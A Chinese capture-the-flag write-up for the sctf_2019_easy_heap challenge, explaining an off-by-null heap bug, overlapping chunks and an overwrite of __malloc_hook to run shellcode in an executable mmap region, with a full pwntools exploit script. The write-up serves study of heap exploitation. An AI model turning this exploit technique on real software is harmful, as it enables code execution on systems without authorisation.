这个题目当时比赛的时候靶机据说是ubuntu16.04,但是迁移到buu上就变成了ubuntu18.04,下面针对两个平台给出不同的解法,先写一下18.04下的

先来逆一下,关键点有一下几个

mmap了一个可读可写可执行的内存空间,可以往里面写入shellcode,而且给了我们地址



edit函数里面有off-by-null漏洞

ubuntu18.04

我本来想直接爆破_IO_2_1_stdout_的,但是考虑到18.04下malloc的时候不会检查size,所以程序不会crash掉,当然理论也可以爆破(当p.recvuntil接受不到数据时程序会crash),但是没有去尝试,过几天试一下

现在考虑写入shellcode,然后攻击__malloc_hook

先说一下程序模板

**step 1: allocate mmap to read in shellcode**
add(0x410) add(0x68) add(0x4f0) add(0x68) free(0x410)
edit(0x68 -> off-by-null)
free(0x4f0) add(0x410)
add(0x68) # index 2: the same as index 1 free(0x68) # index 3
free(0x68) # idx 1(free) == idx 2(allocate)
free(0x68) # idx 1(free) == idx 2(free) add(0x68) # index 1(allocate) == 2(free)
add(0x68) # index 2(allocate) == 1(allocate)
add(0x68) # mmap **step 2: attack __malloc_hook**
add(0x4f0) free(0x410)
edit(0x68 -> off-by-null) free(0x68) # index 1(free) == 2(allocate)
free(0x4f0) #注意,这个地方必须先free 0x68,否则此后将无法通过free的检查
edit(2,'\x30') add(0x68) add(0x68)
edit(0x68) to getshell

核心,利用off-by-null构造两个指向同一块chunk的指针

exp:

from pwn import *

'''
author: lemon
time: 2020-10-19
libc: libc-2.27.so
python version: python3
''' local = 0 binary = "sctf_2019_easy_heap"
libc_path = './libc-2.27.so'
port = "27263" if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port) def dbg():
context.log_level = 'debug' context.terminal = ['tmux','splitw','-h']
context(arch = 'amd64',os = 'linux') def add(size):
p.sendlineafter('>> ','1')
p.sendlineafter('Size: ',str(size)) def edit(index,content):
p.sendlineafter('>> ','3')
p.sendlineafter('Index:',str(index))
p.sendafter('Content:',content) def free(index):
p.sendlineafter('>> ','2')
p.sendlineafter('Index:',str(index)) p.recvuntil('0x')
mmap = int(p.recv(10),16)
print("[*] mmap:" + hex(mmap)) add(0x410) #0
p.recvuntil('0x')
heap_addr = int(p.recv(12),16)
print("[*] heap array:",hex(heap_addr)) add(0x68) # 1
add(0x4f0) # 2
add(0x68) # 3 payload = b'A' * 0x60 + p64(0x490) free(0) # free 0x410
edit(1,payload)
free(2) add(0x410) # 0 size: 0x410
add(0x68) # 2 size: 0x68 2(allocate) == 1(allocate) free(3)
free(1)
free(2) add(0x68) # 1 2(free) == 1(allocate)
edit(1,p64(mmap) + b'\n')
add(0x68) # 2 2(allocate) == 1(allocate)
add(0x68) # 3 shellcode = asm(shellcraft.sh())
edit(3,shellcode + b'\n') add(0x4f0) # 4 free(0)
edit(1,payload) # 2(allocate) == 1(allocate)
free(1) # 1(free) == 2(allocate)
free(4) add(0x410) # 0
edit(2,'\x30\n') add(0x68) # 1(allocate) == 2(allocate)
add(0x68) # 4 __malloc_hook edit(4,p64(mmap) + b'\n') add(0x20) # getshell
# gdb.attach(p)
p.interactive()



过几天再更一下ubuntu16.04下的版本,相对于18.04,16.04利用更简单一些,甚至可以直接爆破_IO_2_1_stdout_

CTF:sctf_2019_easy_heap的更多相关文章

  1. CTF:从0到1 -> zero2one

    本篇blog首发0xffff论坛(CTF:从0到1->zero2one - 0xFFFF),中间有各位大佬补充,搬到了个人博客CTF:从0到1 -> zero2one | c10udlnk ...

  2. SECCON 2014 CTF:Shuffle

    很简单的一道小题 dia看一下是ELF文件 运行之: St0CFC}4cNOeE1WOS !eoCE{ CC T2hNto 是一串乱七八糟的字符 ida看一下: 很简单的逻辑 v5和v6是随机生成的两 ...

  3. [DEFCON全球黑客大会] CTF(Capture The Flag)

    copy : https://baike.baidu.com/item/ctf/9548546?fr=aladdin CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的 ...

  4. GitHub万星项目:黑客成长技术清单

    最近有个GitHub项目很火,叫"Awesome Hacking",这个项目是由Twitter账号@HackwithGithub 维护,喜欢逛Twitter的安全爱好者应该了解,在 ...

  5. 转:GitHub 万星推荐成长技术清单

    转:http://www.4hou.com/info/news/7061.html 最近两天,在reddit安全板块和Twitter上有个GitHub项目很火,叫“Awesome Hacking”. ...

  6. [CTF]Capture The Flag -- 夺旗赛

    CTF(Capture The Flag) 简单介绍 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式. `In co ...

  7. GitHub 万星推荐:黑客成长技术清单

    GitHub 万星推荐:黑客成长技术清单 导语:如果你需要一些安全入门引导,“Awesome Hacking”无疑是最佳选择之一. 最近两天,在reddit安全板块和Twitter上有个GitHub项 ...

  8. 老猿学5G:3GPP和中国移动5G计费架构概览

    ☞ ░ 前往老猿Python博文目录 ░ 一.引言 老猿学5G这个专栏主要记录笔者因工作原因学习了解5G计费相关知识,文章按时间顺序循序渐进的介绍5G基础概念以及5G计费相关知识,该专栏前期已经完结, ...

  9. 老猿学5G扫盲贴:3GPP中的5G计费架构

    专栏:Python基础教程目录 专栏:使用PyQt开发图形界面Python应用 专栏:PyQt入门学习 老猿Python博文目录 老猿学5G博文目录 一.计费逻辑架构和信息流 在32240子系列文档内 ...

随机推荐

  1. Java 中 static 的作用

    static 关键字的作用 在 Java 中 static 关键字有4种使用场景,下面分别进行介绍: 1.static 成员变量 public class Student { // 静态成员变量 pr ...

  2. HotSpot VM执行引擎的实现

    Java代码的执行分类: 第一种是将源代码编译成字节码文件,然后再运行时通过解释器将字节码文件转为机器码执行 第二种是编译执行(直接编译成机器码).现代虚拟机为了提高执行效率,会使用即时编译技术(JI ...

  3. svn提交代码出错

    今天提交代码的时候一直报错,下面是错误信息 Error: Commit failed (details follow):  Error: Commit blocked by pre-commit ho ...

  4. Xmind 2020 破解教程

    前言: 今天用xmind试用版记了会笔记,发现哎哟还真好用,于是乎我脑子一热,点击激活,发现年费好尼玛贵,瞬间我就冷静下来了. 于是乎,脑海里立马浮现出两个字:破解!好了废话不多说,直接上傻瓜教程.( ...

  5. spring整合(Junit、web)

    1.整合Junit (1)整合前的测试类代码 public class Test { public static void main(String[] args) { ApplicationConte ...

  6. 初学源码之——银行案例手写IOC和AOP

    手写实现lOC和AOP 上一部分我们理解了loC和AOP思想,我们先不考虑Spring是如何实现这两个思想的,此处准备了一个『银行转账」的案例,请分析该案例在代码层次有什么问题?分析之后使用我们已有知 ...

  7. Flex、Grid、媒体查询实现响应式布局

    本篇文章主要讲述使用Flex布局.Grid布局以及媒体查询三种方式来实现响应式布局. 文章涉及代码在线coding地址 效果图: 文字描述: 屏幕大小不同,展示列数不同,1-5号按照屏幕大小可展示2到 ...

  8. 搭建实用深度学习环境(Ubuntu16.10+Theano0.8.2+Tensorflow0.11.0rc1+Keras1.1.0)

    在动手安装之前,首先要确定硬件,系统,准备安装软件的版本,确定这些软硬件之间是否相互支持或兼容.本文安装的主要环境和软件如下: Ubuntu16.10+CUDA8.0(cudnn5.1,CNMEM)+ ...

  9. [JZOJ]2109 清兵线 题解

    ## [JZOJ]2109 清兵线 题解 **FIRST 题目大意** 给你一些正整数,这些正整数为数轴上若干个点代表的数.现求:假设从原点出发,走m以内(包括m)的距离最多能够访问多少个点,输出m- ...

  10. Java知识系统回顾整理01基础02面向对象01类和对象

    一.面向对象实例--设计英雄这个类 LOL有很多英雄,比如盲僧,团战可以输,提莫必须死,盖伦,琴女 所有这些英雄,都有一些共同的状态 比如,他们都有名字,hp,护甲,移动速度等等 这样我们就可以设计一 ...